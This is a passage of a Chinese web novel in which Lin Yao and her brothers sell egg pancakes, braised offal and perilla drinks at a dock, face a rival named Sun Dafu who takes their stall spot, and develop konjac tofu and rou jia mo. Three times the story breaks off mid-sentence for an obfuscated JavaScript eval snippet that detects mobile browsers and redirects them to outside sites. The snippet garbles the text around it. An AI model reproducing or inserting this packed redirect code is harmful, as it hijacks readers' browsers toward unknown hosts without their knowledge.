林窈打开锅盖，一股浓郁的香味瞬间弥漫开来，猪下水被卤得色泽诱人，让人看了就垂涎欲滴。她用勺子将猪下水捞出来，放在一个大盆里备用。 棒骨汤也炖得十分浓稠，林窈将火关掉，把汤盛到一个大汤桶里。 红烧肉更是炖得软烂，整个屋子都被香气填满。 林窈把菜端上桌，招呼林诚和林崧：“先吃饭吧，忙了一天，都饿坏了吧。” 林诚和林崧快步走到桌前，看着桌上色泽诱人的红烧肉、卤猪下水，还有那奶白色的棒骨汤，不禁咽了咽口水。 林崧眼睛更是直直盯着红烧肉，这种五花肉在他们家就是过年都吃不上，平日里饭桌上大多是些野菜，偶尔有荤腥，也不过是些大哥在河里捞的小鱼小虾。 虽说林诚时常上山打猎，但是在山里猎到的猎物大多都得拿去换铜板，吃不上几回。 他伸手拿起筷子，夹起一块红烧肉放进嘴里。“太好吃了！比阿奶做的肉好吃！”林崧一边嚼着，一边含糊不清地说道。 三兄妹的阿奶做的肉块又硬又柴，调料价贵，叶阿奶更是不舍得放，做出来的肉味道也淡得几乎没有。 更何况，每次过年做大肉，阿爷都会把大块的夹给林家大房，轮到他们三兄妹时，只剩下几块又小又柴的肉，林崧虽然年纪小，但也知道他们阿爷偏心。 林诚在一旁看着弟弟妹妹，心里酸涩。 林窈看着林诚有些出神，轻声说道：“大哥，你也多吃点，咱们家以后每一顿都要吃肉。” “好！”，林诚也夹起一块卤猪下水，放入口中细细品味，点头称赞道：“这卤猪下水还是这么醇厚。”说完，他又盛了一碗棒骨汤，喝了一口，满足地叹了口气，“汤也好喝。” 林窈现在这副身体正是成长期，曾经嫌弃油腻的五花肉，现在也是吃得香喷喷，林崧更是吃得小嘴边粘了一圈油渍，两眼亮晶晶的。 吃过晚饭，林窈和林诚开始收拾碗筷，林崧主动帮忙擦桌子，小小的身影在厨房穿梭，满是干劲。 收拾妥当后，林窈把晾凉了的两大桶紫苏山楂茶和紫苏菊花茶搬回灶屋，林诚把下午砍回来的竹子搬到灶屋外，开始做竹筒。 林诚熟练地拿起工具，将竹子截成合适的长度，随后又用锋利的小刀将竹筒的两端削平，动作一气呵成。 林崧被削竹子的声音吸引，也跑了出来，蹲在一旁看着林诚制作竹筒，帮忙把做好的竹筒整齐地排列在地上。 林窈也坐下来帮忙，将林诚削好的竹筒边缘仔细打磨光滑，“大哥，带竹筒的饮子咱们卖两文，自己带了水囊来装的就卖一文一杯。” 林诚直起腰，揉了揉发酸的肩膀，“成，都听你的。” 11. 占位 晨曦微露，码头上已经有了不少早起忙碌的身影，不少摆摊的小贩更是已经就支起了摊子。 林家三兄妹今日早早地就往码头去，只是还未平时摆摊的位置，他们就看到了李大娘在和一个中年男人在争吵。 “你这安的什么心？林家小娘子的饼子卖得好，你就过来占这个位置，还卖一样的饼子。”李大娘叉着腰，手指着中年男人的鼻子，气得满脸通红。 那中年男人却满不在乎，撇了撇嘴道：“这码头又不是你家开的，哪条规定说我不能在这儿摆摊？先到先得！再说，我能做出一样的饼子那是我的本事，轮得到你在这儿多管闲事？” 这时，一旁卖包子的王大爷却说：“孙大富，你也忒不厚道，你们家不是已经占着码头前面的好位置了？你这是看到人家小娘子的饼卖得好就过来抢位置，这算什么事儿！” 孙大富一听，眼睛一瞪，脖子一梗，“王老头，你少在这儿瞎掺和，我占哪儿摆摊是我的事儿，和你有什么关系？难不成你和这林家是一伙的，合起伙来，想赶我走？” 王大爷气得吹胡子瞪眼，“你这人怎么不讲理呢！你家已经占了码头前面的好位置，怎么又来占我们后头的位置，前后的生意你都做，你这是贪得无厌！大伙在这码头摆摊，向来都是守规矩的，你这样坏了规矩，以后谁还能安心做生意？” 林窈刚把东西放下后，李大娘就拉过她的手，“你看看！你看看！这三兄妹弱的弱，小的小，孙大富你好意思这么挤兑人？” “关我什么事情？来迟了就是迟了！”孙大富丝毫不在意李大娘说的话。 林窈先轻轻拍了拍李大娘的背，安抚她激动的情绪，“大娘，您先别气，小心气坏了身子。” 随后，她转过身，脸上带上笑容，正所谓伸手不笑脸人，“孙大哥，这码头虽不是谁家私有的，但是一直以来，大家也是默认了各自的摊位，彼此照应着讨生活。今日确实是我们来迟了，毕竟家中只剩下我们兄妹三人，没个长辈照应的，什么都得自己来，这不就耽搁了些时间。” 说着，林窈还装模作样地擦了擦了眼角，“今日，这位置就让给孙大哥了。” 四周围着看热闹的商贩也在小声议论。 “这孙大富也太不地道了，人林小娘子一家多不容易。” “就是，占着人家位置，还这么理直气壮。” 孙大富面上有有点尴尬，但还是硬着头皮不走，“算你识相。” 李大娘急忙拉过林窈，“林小娘子，这个人就是存心抢你们生意，你怎么还让出去了？” “大娘，孙大富这样做虽不讲道义，但却也不算有错，码头讲究先来后到，我不过是往旁边挪一个位置，咱们做吃食生意的，味道才是最重要的，我的生意照样能做。”林窈说道。 王山在一旁听着，不住点头，“说得好！林小娘子的饼和卤猪下水味道是顶好的，就算换个位置，大伙也都认你的手艺！” 林窈笑了笑，“今日也多谢大爷为我们兄妹仗义出言。” 王大爷在码头另一边卖馒头和馍馍，平日里交流不多，只是昨日卖猪下水的时候也给他尝了一些，没想到今天会愿意替他们说话。 林窈三兄妹把东西挪到了新的位置。 虽说新位置稍微偏僻了些，但胜在空间更大。他们动作麻利，很快就把摊位重新布置妥当。 林窈把色泽诱人的煎饼摆在显眼处，旁边的大锅里，卤猪下水散发着醇厚的香气，旁边竹筒里的紫苏饮子也整齐排列着，清新的茶香若有若无地飘散开来。 林诚负责生火，不一会儿，煎饼摊的铁板就热了起来。林窈熟练地舀起一勺面糊，均匀地铺在铁板上，面糊遇热迅速成型。 这边香味一散开，就有老顾客寻了过来。 “小娘子，今儿个怎么换了位置？”一位常来光顾的船夫问道。 林窈一边摊着饼，一边笑着回应：“今日来得迟了些，没占到好位置，大爷，吃点什么？今天还有新做的紫苏饮子，清爽解腻，最适合这炎炎夏日。” “来个鸡蛋饼，再来半斤卤猪下水，你这紫苏饮子是什么？”船夫问道。 林窈把面糊摊在锅上，动作行云流水，“大爷，我们有两种紫苏饮子，紫苏山楂茶是用新鲜紫苏搭配山楂熬煮，酸甜可口，开胃解腻；紫苏菊花茶则是紫苏和菊花一起泡制，味道清甜，清热去火！” 船夫一下来了兴致，“听起来不错，怎么卖？” “这饮子要是您用我们的竹筒装，两文钱一杯，可以拿着边走边喝，要是您自己带了水囊，一文钱一杯就行。”林窈回答道。 “一文一杯，这饮子可真不便宜。”船夫有点犹豫。 “大爷，我这饮子用的都是昨日上山采摘的新鲜食材，还加了糖哩。”林窈说道。 糖在古代的价格不低，船夫一听有糖，也不再犹豫，“行，给我来一杯紫苏菊花茶，我自己带了水囊。”说罢，他利落地解开腰间那个用了多年，被摩挲得油亮的水囊，递给了林窈。 林窈接过水囊，侧身将竹筒微微倾斜，清澈淡黄的茶汤缓缓流入水囊。缕缕菊花的清香与紫苏的独特气息交织在一起，在空气中弥漫开来。一旁的林诚也把已经做好的煎饼和卤猪下水包装好递过去。 摊子上陆续来了些客人，林窈热情介绍今天新做的饮子。 码头做工劳累，工人们都会自备凉水，没几个舍得花一文钱，就为了买杯喝的。毕竟对于这些做体力活的人来说，饮子再好喝，也就是一泡尿就没了的东西，还不如再添两文钱，买个饼子吃实在。 不过码头工人的工钱是三十文一天，这个收入在乡里不算低，有些还未成家的长工，一人吃饱全家不饿，买饼的时候也会买上一杯饮子尝尝鲜。 林窈这边生意虽比前几日淡了些，但也比她预计得要好些。她一边手脚麻利地招呼着顾客，一边留意着孙大富那边的动静。 刚开始的时候，还有一些人会去孙大富的摊子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15094893|163713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前买饼，有的码头长工之前没有吃过林窈家的饼子，只听说林家的鸡蛋饼好吃，打听了一下位置在哪，就想赶来尝鲜，一上午倒是也让孙大富赚了些铜板。 但更多的长工日日在码头搬货，对孙大富是有印象的。 孙大富之前和他媳妇一起在码头前最好的位置摆摊买饼，他们家的饼子味道寡淡，干硬噎巴，就这样的饼子都卖两文钱一个，工人们看见人不对，就去询问隔壁粥铺的李大娘。 李大娘在一旁，一听到有长工问就说：“昨日在这卖鸡蛋饼的小娘子被撵到边上去咯。” 听到李大娘说的话，不少稀里糊涂买了鸡蛋饼的工人这才知道自己买错了。 孙大富气得咬牙切齿，愈加卖力地扯着嗓子喊，“两文钱，两文钱的韭菜鸡蛋饼，便宜大份！” 林窈收回目光，继续切手上的卤猪下水，摊前站着几个年轻的码头工人，正是昨天他们收摊后才来买卤猪下水的工人。 “小娘子今日叫我们好找，还以为你不来摆摊了。”带头的年轻工人笑着说道，眼睛盯着林窈手中切得薄厚均匀的卤猪下水，咽了咽口水。 林窈闻声抬起头，脸上露出笑容：“昨日答应过给几位大哥留卤猪下水的，怎会不来。不过今日不巧，换了个位置。几位来得正好，今天的卤猪下水格外新鲜，要不要多来点？” 另一个工人连忙点头：“要要要，小娘子你家的卤味，我们几个可惦记了一晚上，今天可算赶上了。” 一旁的林诚手脚麻利地将林窈切好的卤猪下水称好，用干净的油纸包好，递给他们：“多谢几位大哥照顾生意。” 几位码头工人接过心心念念的卤猪下水，找了一个阴凉的地方坐下，从怀里掏出从家里带出来的馍馍，用随身携带的小刀划开，将卤猪下水夹在中间。 其中一个年轻工人迫不及待地咬了一大口，卤汁顺着嘴角流了下来，他也顾不上擦，“这小娘子家的卤味和馍馍简直是绝配。” 另一个年纪稍长的工人笑着打趣道：“你这小子，就知道吃，吃这么大口也不怕噎着。”说着，自己也咬了一口，脸上露出享受的神情，“不过还别说，这味道确实没得说。” 林窈看到几位长工吃得满足，眼前一亮，她怎么把馍馍这个能够包纳万物的东西忘了。 卤猪下水味道浓厚，若是用自己的鸡蛋饼卷着吃，味道就过于复杂，但是如果用馒头和馍馍就着吃，不会抢了卤猪下水的香味，还能增香解腻。 馒头和馍馍做起来也不难，多一种吃食就多一分收入。 不过林窈转念一想，今天帮他们说话的王大爷就是卖馒头和馍馍的，她这么做就是抢了王大爷的生意，恩将仇报。 另外一边，孙大富依旧在卖力吆喝：“两文钱，只要两文钱的韭菜鸡蛋饼哟！”可喊了半天，也只有寥寥几人上前询问，大多只是问了问便摇摇头离开了。 孙大富看着林窈摊位前的热闹景象，又看了看自己冷清的摊位，目光阴冷。 12. 合作 今天换了位置，东西比之前卖得慢了些，过了午时，林窈三兄妹才把摊子上的东西卖完。 太阳高悬在天空，炽热的阳光洒下在地上，烤得码头上的路都发烫。 林窈、林诚三人忙了一上午，此时早已是汗流浃背，疲惫不堪。小林崧在一旁也蔫蔫的，林诚把留给弟弟和妹妹的紫苏山楂水拿出来，“来，阿窈，崧儿，解解渴。” 林崧接过竹筒，咕噜咕噜喝了好几大口，林窈也灌了一大口，林诚在一旁看着，连忙说，“慢点喝，慢点喝。” 喝了水之后，两人慢慢缓过劲来，林窈看到大哥不住地用手擦着额头冒出来的汗，“阿兄，你怎么不喝？” 林诚笑了笑，用搭在肩头的粗布毛巾抹了把脸，说道：“哪能这么浪费，我忍忍就成，这能卖两文钱呢。” 林窈知道林诚节约惯了，心中感动但也有些心疼，“阿兄，钱是要赚，但身子也得顾好。咱们做这小生意，靠的就是有个好身体去忙活。要是把身体累垮了，看病抓药可要花不少钱。” 林崧也在一旁用力点头，“就是就是。” “好！阿兄以后也喝。”林诚笑着应道，看着懂事的弟弟妹妹，心里暖融融的。 “阿兄，今日可以去取预定的铁板了，我们赶紧收拾完东西，去镇上取回来吧。”林窈心里很是期待。 兄妹三人加快手上的动作，迅速将摊位上剩余的杂物收拾妥当，把食材整理好放进背篓。 林诚挑起担子，篓子里一边放着做饼的工具，另一边是卖完卤味剩下的卤汁，林窈和林崧则背着背篓，里面装着一些零碎物件。 一路上，阳光透过斑驳的树叶洒在他们身上。 林崧年纪小，精力恢复得快，蹦蹦跳跳地走在前面，时不时回头催促：“阿兄，二姐，你们快点。” 知晓小孩贪玩，想快点到镇子上，林诚和林窈认命地加快了脚步。 不多时，三人就来到了热闹的镇子上，林诚带着弟弟妹妹去铁匠铺子取定做的铁板。 林窈看到铁板的时候眼前一亮，专业的事情果然还是要交给专业的人做，她只是简单描述了一下，就打出了她的梦中情板。 林窈看着铁板，平整光滑，四边略微高于板面，既方便摊饼时面糊不会流出去，又能在翻面的时候轻松操作，她实在是太满意了。 林诚在一旁仔细检查了铁板的各个部位，确认没有问题后，便付了钱，和铁匠师傅一起将铁板放在担子上，用粗绳紧紧地绑好。 取了铁板之后，林窈三兄妹又去购置了明天摆摊要用的食材，完成所有的事情的时候，天色已经开始变暗。 “阿兄，我们今日在镇上吃吧。”林窈说。 “成，阿窈想吃什么？”林诚问道。 “今日去滋味馆吃吧，我听别人说那儿的菜可好吃了。”林窈回答道。 滋味馆是清泉镇一家小有名气的饭馆，以炒菜为主。 炒菜在宋朝开始普及，她在的这个朝代虽然在历史上没有见过，但是衣食住行都和宋朝相似，林窈还想着日后要再镇上开饭馆，所以想对这个朝代的炒菜水平先做个摸底。 兄妹三人一齐走进了滋味馆。 林窈放眼望去，这饭馆里平民百姓居多，店小二虽见三人穿着粗糙，也没有轻视，热情问道：“几位客官，想吃点什么？小店有招牌红烧肉、清蒸鲈鱼，还有各种时令小炒，味道都很不错。” 林窈点了一道红烧肉、一份清炒时蔬和一个蛋花汤。 林诚有些心疼钱，小声对林窈说：“阿窈，点这么多菜，会不会很贵？” 林窈安慰道：“阿兄，难得来一次，咱们就好好吃一顿。而且我也想尝尝他们家的手艺，日后我还想在镇上开饭馆，总要提前了解一下对手的水平。” 林诚有点惊讶于小妹的雄心壮志，他对现在的日子已经很知足了，做梦都不敢想还能在镇上开铺子，但看着林窈亮晶晶的双眼，他竟觉得也许真的可以。 过了一会，菜就都上齐了，红烧肉色泽红亮诱人，泛着油润的光泽，浓郁的香味扑鼻而来。清炒时蔬嫩绿欲滴，清爽的色泽让人看了便心生好感。蛋花汤金黄的蛋花轻盈地漂浮在汤中，几点翠绿的葱花点缀其上，散发着淡淡的鲜香。 林崧早已经迫不及待，小手拿起筷子，一下子就夹起一块红烧肉，放入口中，好吃得眯起来双眼，仰着小脸说道：“这个红烧肉好好吃呀，又甜又香，肉肉软软的。” 林崧年纪小，只要是肉就觉得好吃。 林窈也夹起一块红烧肉，轻轻咬了一口，慢慢咀嚼，细细品味着其中的滋味。这红烧肉确实不错，首先卖相就很好，糖色炒得精准，美中不足的是炖的火候欠佳，瘦肉多的肉块略微有些干柴。 接着林窈又尝了剩下的两道菜，清炒时蔬清爽可口，火候把握得恰到好处，蔬菜翠绿鲜嫩，只是调味上稍显单一，若能加上些许蒜末爆香，或许能增添几分风味。 至于那碗蛋花汤，蛋花均匀细腻，汤头鲜美，如果是在现代，加入一些干虾米，味道一定更好。 林窈不禁感叹，古人的智慧不容小觑。镇子上一家普通百姓消费的饭馆就有如此水准，如果他们真要在镇上开铺子，得有自己的差异化定位才能行。 林窈一边吃一边头脑风暴，林诚看着小妹有点出神，以为她是因为滋味馆的饭菜味道好而受到了打击，赶忙放下筷子，安慰道：“阿窈，大哥倒是更喜欢你做的饭菜。” 林窈回过神来，“大哥，我没事，这滋味馆开了这么些年，必然有自己的独到之处，咱们以后要想在镇上开饭馆，需得好好琢磨。” 给钱的时候，林诚又是好一顿心疼，这一顿饭就花出去五十八文，今天卖饮子多赚的钱一下就花去了大半。 回到家之后，兄妹三人继续准备明日摆摊要用的食材。 林窈把昨天摘的紫苏、山楂和菊花取出，一边做饮子，一边说，“阿兄，今日那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15094894|163713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几位大哥来买了猪下水后。我瞧见他们用馍馍夹着猪下水吃。我寻思，咱们也可以把卤好的猪下水夹在饼里卖，定能多卖些钱。” 林诚听了，眼前一亮，“阿窈，你这想法不错啊！咱们的卤猪下水味道霸道，夹在馍馍里一定好吃。而且这样吃起来方便，赶路的人吃着也方便。” “不过，今日帮我们说话的王大爷就是卖馒头和馍馍的，咱们不能抢了他的生意，寒了好人的心，我想跟王大爷定一些馍馍，这样王大爷也能多一份收入。”林窈说道。 林诚听了，不住点头，“还是你想得真周到，咱们可不能做那过河拆桥的事儿。” 第二天，兄妹三人提前了半刻钟到摆摊的地方。 李大娘和林窈打了个招呼，“林小娘子，你们今天来得早哟，那孙大富还没来。” “那便好，昨日真是多谢大娘了。”林窈再一次道谢。 “林小娘子不必客气，你的饼摊在我旁边，我的生意还能更好些，昨日你不在，我都比往日少赚了几十文。”李大娘笑着说。 林窈和李大娘简单寒暄完，就去了王大爷的馒头摊前，只见摊上摆着几个大蒸笼，里面有馒头、馍馍和荤素各色包子，“大爷，来个馍馍。” “诶，这就给你拿。”王山从蒸笼里拿出一个热气腾腾的馍馍递给林窈。 林窈接过馍馍，轻轻咬了一口，熟悉的麦香在口中散开，口感松软，她把口中的馍馍咽下后说：“大爷，我们想与你谈一笔买卖。” 王山搓了搓手，“买卖？我这就是卖点馒头、馍馍。” 林窈把自己的想法说了，王山不敢相信，这样的好事竟落到了他的头上，一时有些激动，“叶小娘子，此话当真？” “当真，只是这馍馍我们要的量多，而且长期都需要，大爷可否便宜些？”林窈询问。 “可以可以，我这馍馍卖给其他人两文钱一个，卖给你们就一文钱一个。”王山急忙说道。 “多谢大爷，明日我们先定五十个馍馍，这是定金，等明日我们再把剩下的一半给您。”说罢，林窈从荷包里数出铜板给了王大爷。 王山接过铜板，神色激动，今天才刚刚出摊，这就赚了二十五文。 他看这叶小娘子虽然年纪小，出摊的时间也短，但是生意红火，若是一直定他的馍馍，那岂不是能赚越来越多的同伴，这么想着，王山看林窈的眼神更慈祥了。 林窈回到摊位上时，林诚正在摊饼。 林诚在家中也是从小就开始下厨，这几天在一旁看着林窈摊饼，他早就学会了，所以现在兄妹两人都是轮流摊饼。 林窈接过剩下的活，把切好的猪下水递给客人，又给下一位客人舀紫苏山楂茶，这时一个熟悉的声音在她耳边响起。 “这是何物？”许之珩今天穿了一套崭新的长衫，头上更是簪了一朵石榴花，自认为清俊非常。 林窈抬头一看，嚯，今天这位兄台穿得很是花枝招展。 13. 肉夹馍（一） 林窈面上保持着热情，“公子，这是我们新推出的紫苏饮子，有紫苏菊花饮和紫苏山楂饮子。” 她指了指旁边的木桶，接着说道：“紫苏菊花饮，是以紫苏搭配菊花，再添上些许糖调味。菊花清热降火，紫苏解表散寒，二者搭配，味道清甜，气味芬芳，最适合在炎炎夏日饮用①。 随后，指向另外一个水桶，“而这紫苏山楂饮子，选用新鲜紫苏与山楂，慢火熬煮，酸酸甜甜。山楂开胃消食，紫苏行气和胃②，若是您刚刚吃了油腻的食物，来上一碗，保准能让您顿感清爽，消解口中的油腻。两种饮子，带上竹筒两文钱一杯，不要竹筒则一文钱一碗，公子想尝哪一种？” “倒是不贵，这里的我都要了。”许之珩大手一挥，很是豪气。 林窈顿时喜上眉梢，一旁的林诚更是从背篓里拿出竹筒准备装饮子。 “不过，我不要竹筒，一个竹筒便是一碗饮子的价格，如此不合算。”许之珩转头对着一旁的小厮吩咐道，“金玉，去把家中的木桶取来。” 林窈本以为他又要讲价，没想到是让小厮回家取木桶，不过倒也符合前几次见到他时，都在讨价还价的行事作风。 小厮得令后，立刻快步离去。不多时，便抱着一个精致的小木桶跑了回来。 林窈一边往桶里装饮子，一边观察，这木桶周身刷着桐油，泛着温润光泽，桶身还雕有精致的花纹，一看便知价值不菲，这人都能用上这么精致的容器，为何还如此抠搜。 “这里的饮子算公子五十文吧，公子是老主顾了，给您算便宜些。”林窈微笑着对许之珩说道。 许之珩咧嘴一笑，露出一口整齐的白牙，“小娘子倒是会做生意。”说罢，和小厮一人提着一桶离开了。 今天的饮子提前卖完了，剩下的鸡蛋饼和卤猪下水也售罄，兄妹三人比昨日早了两刻钟收摊。 回家的路上，林窈一直在脑海中盘算，铁板取回来之后，能做的东西更多了，铁板炒面、铁板炒饭、铁板炸串…… 林窈无比怀念前世美味的路边摊，光是想想，就止不住咽口水。既然这里什么都没有，那就一点一点造！ 林窈对于铁板的用途有很多的设想，但是她也明白一口吃不成一个胖子，得一口一口吃。今天刚和王大爷定了五十个馍馍，明天要做的肉夹馍才是最要紧的。 回到家中，三人简单休整之后，又开始各司其职。 “阿兄，今日多买些鸡蛋和白面回来。”林窈一边整理着从摊位带回来的零碎物件，一边对林诚说道。 林诚点头应下，“好嘞，是要多做些鸡蛋饼吗？” “不是，这是为明日的要做的馍馍准备的。”林窈回答道。 “成，那我多买些。”林诚应道，接着便挑着扁担出门去了。 林窈去了屋子后头的菜地，照看移栽的韭菜和野葱。 刚栽下几日，韭菜和野葱还没什么变化，但好歹没有蔫，估计要不了多久就可以自给自足了。 接着，林窈带着林崧上山去了，想着碰碰运气，找点别的食材。 突然，林窈的脚步一顿，发现了一片熟悉的植物。 她快速走过去，仔细查看，只见这些植物叶片宽大肥厚，呈掌状分裂，边缘光滑。③ 是魔芋的叶子！ 魔芋可是好东西，以前林窈也热衷减肥，对魔芋制品青睐有加，不管是酸辣开胃的魔芋爽，还是滑嫩可口的魔芋豆腐，都是她的心头好。 魔芋富含膳食纤维，热量低又饱腹④，在这个物资相对匮乏的时代，若能把魔芋开发成美食，一定是个绝佳的商机。 林窈松开拉着林崧的手，从背篓里拿出工具，开始挖魔芋。 魔芋扎根颇深，她小心翼翼地将铲子插入土中，尽量不伤到魔芋的根茎。 林崧蹲在一旁，眼睛睁得圆圆的，满是好奇与兴奋：“二姐，这能做好成吃的吗？” 林窈笑着点头，手上动作不停：“那当然，等回家二姐就给你做豆腐，滑溜溜的，可好吃了。” 听到二姐这么说，林崧也想帮忙。 林窈立刻阻止：“崧儿，这东西虽然好，但它本身有毒，二姐来挖就好了。” 林崧吓得赶紧缩了缩手，忙不迭地点头。 折腾了好一会，两人才背着满满一背篓魔芋下山。 林窈推开家门的时候，林诚已经从镇上回来，正在收拾猪下水。他看到林窈背篓上垒得冒出头来的魔芋，脸色突然就变了。 “阿窈，你怎么挖这鬼芋，这东西有毒！快丢咯！”林诚着急地说。 林窈这才知道，这里的人把魔芋称之为鬼芋，并不食用。 这不就好比把鞋卖给一个从不穿鞋的地方，这是巨大的商机，当然，开拓一个完全空白的市场也是一个巨大的挑战。 林窈忙说：“阿兄，我知这鬼芋有毒，但只要处理得当，它就能变成独一无二的食物。我在梦中学过制作方法，保准不会出问题。” 听到妹妹又提起那场玄乎其玄的梦，林诚的心也跟着安定了下来。 林窈先将魔芋放在清水下仔细冲洗，把表面的泥土和杂质清理干净。 随后，她拿出石臼，将魔芋切成小块放进去，开始用力舂捣。 林崧在一旁帮忙递水，看着姐姐忙碌的身影，满是期待地问：“二姐，鬼芋真能变成好吃的？” 林窈一边捣一边回答：“那当然，等会儿做好了，你先尝第一口。” 林窈手上动作不停，不一会儿，魔芋就被舂成了细腻的糊状。 林窈按照记忆中的步骤，加入适量的草木灰水，快速搅拌。随着木棍的搅拌，魔芋糊的颜色逐渐变深，质地也愈发浓稠。搅拌均匀后，林窈把魔芋糊倒入锅中，开小火慢慢煮，并不停地搅拌，防止糊锅。 锅里渐渐散发出一股独特的气味，这是魔芋在去除毒素的过程。 经过一个时辰的炖煮，魔芋终于变成了果冻状。 林窈把火熄灭，等魔芋豆腐在锅里冷却后，小心翼翼地把它舀出来，放入清水中浸泡，叮嘱林诚每隔一盏茶时间就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15094895|163713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要换一次水。 洗净手，林窈便去灶房准备明天摆摊要用的炸蛋。 炸蛋！ 二十一世纪伟大的发明之一，林窈早就馋这一口了，无论是搭配螺蛳粉，还是放进各种汤面里，炸蛋吸饱汤汁后，一口咬下去，无论是丰富的口感，还是满满的油香，都让林窈欲罢不能。 林窈拿出几个新鲜的鸡蛋，轻轻磕开，将蛋液倒入一个大碗中。她拿起筷子，快速地搅拌起来，蛋清和蛋黄在筷子的搅动下迅速融合，泛起细密的泡沫。 随后，林窈在锅里放入一大勺的猪油，开大火将油烧热。随着油温升高，锅里的油开始微微冒烟。 林窈看着油温已经差不多了，用勺子舀起一勺蛋液，缓缓地倒入锅中。蛋液一接触到热油，瞬间膨胀起来，蛋皮迅速鼓起，形成一个个蓬松的气泡。 林窈轻缓地用筷子拨动着炸蛋，三两下，炸蛋就变成了诱人的金黄色，香气也弥漫开来。 林窈将炸好的蛋捞出，控油后放在盘子里。一个接一个，盘子里渐渐摆满了蓬松酥脆的炸蛋。 她把今天从收摊前，王大爷送的几个馍馍加热，然后用刀割开，把炸蛋和汤汁满满的卤猪下水，塞了进去，一共做了五个。 接着，林窈把做好的魔芋豆腐取出，切片，加入盐、茱萸、醋拌匀，一道凉拌魔芋豆腐就做好了。 做完这些，林窈也已饥肠辘辘。 林诚和林崧把院子里的活干完，一进门，就闻到了比往日更浓郁的香气。 林崧的小鼻子使劲嗅着，眼睛一下子就锁定了桌上放着的馍馍，迫不及待地跑过去，伸手就想拿。 林窈笑着拍开他的手，“小馋猫，先洗手去。” 林崧嘻嘻一笑，转身跑去洗手，林诚笑着摇摇头，也跟着去了。 等两人洗完手回来，林窈把做好的馍馍递过去，“尝尝，我琢磨出来的新吃法，看味道如何。” 林诚和林崧接过馍馍，咬了一大口。 一口下去，卤猪下水的醇厚香味、炸蛋的酥脆以及馍馍的绵软在口中交融。卤猪下水的醇厚鲜香率先在舌尖上炸开，充满弹性的大肠带着浓郁的卤香，卤汁顺着嘴角险些滑落。卤汁渗透进炸蛋和馍馍里，每一口都充满了浓郁的味道，丰富的口感让两人无法抗拒。 紧接着，蓬松酥脆的炸蛋带来截然不同的口感，蛋皮在牙齿的挤压下“咔嚓”作响。炸蛋内里柔软嫩滑，因为吸收了卤猪下水的汤汁，变得更加饱满多汁。最外层馍馍的存在中和了油腻感，将所有的味道紧紧包裹，每一口都扎实又满足。 吃完馍馍，两人才看到一旁灰扑扑的魔芋豆腐，“阿窈，这是鬼芋做的？”林诚问道。 “是啊，这叫凉拌魔芋豆腐，阿兄尝尝看。”林窈说道。 林诚虽然心中有些许排斥，但还是夹了一筷子，谁知一入口，又被惊艳到了，“这口感真特别，味道也极为清爽！”说完，又夹了几筷子。 林窈见他喜欢，心里也高兴，看来这个朝代的人对凉拌魔芋的接受度不错。 14. 肉夹馍（二） 还未到达码头，林窈远远就看见王山带着一位年轻的小娘子在他们的摊位前等着。 林窈三人加快了脚步，等他们把摆摊的物什放下，王山便带着那位小娘子迎了上来。 “这里是五十个馍馍，林小娘子看看数目可对。”王山把手中的篮子递了过去。 林窈接过后，粗略看了一下馍馍的数量，笑着说道：“您送来的东西，我自然是放心的。”说着，她转头招呼林诚舀了两杯紫苏菊花饮，“大爷，娘子，来喝一杯紫苏菊花饮，解解暑气。” “使不得，使不得，这饮子可是要卖钱的。”王大爷连连摆手。 林窈笑着走上前，将两杯紫苏菊花饮塞到他们手中，“您可别跟我客气，辛苦您与娘子这么早给我们送馍馍来，这紫苏菊花饮，水桶里还多得很，不差您这两杯，二位快些尝尝。” 听到林窈这么说，王大爷也不推脱了，接过两杯紫苏菊花饮，递了一杯给身旁的小娘子。 两人抿了一口，清甜的滋味在舌尖散开，菊花的香气与紫苏的清新随之而来，瞬间驱散了暑气与疲惫。 王山忍不住夸赞道，“怪道那些在码头长工都愿意花一个钱在你这买饮子，我喝了只觉得浑身舒坦，暑热一下就消散了。” 一旁的小娘子也腼腆地点了点头。 林窈早就注意到了她，只是没来得及仔细瞧，这会儿借着说话的间隙，打量起这位小娘子。只见她身着一件淡蓝色的布衫，虽质地普通，却打理得干干净净，袖口和领口处还绣着几朵小花，可见是个心灵手巧的人。模样与王大爷不大相像，皮肤很是白皙，眉眼弯弯，透着一股温婉的气质。 王山见两个小娘子在互相打量对方，主动介绍起自家孙女，“林小娘子，这是我的孙女阿鱼。这孩子打小就跟在我身边，和我一块儿做馍馍。平日里我家卖的馍馍，可都是我和她一起做出来的。就说今儿送来的这些，全是阿鱼的手艺，小娘子不妨仔细瞧瞧，给评评我这孙女的手艺咋样？” 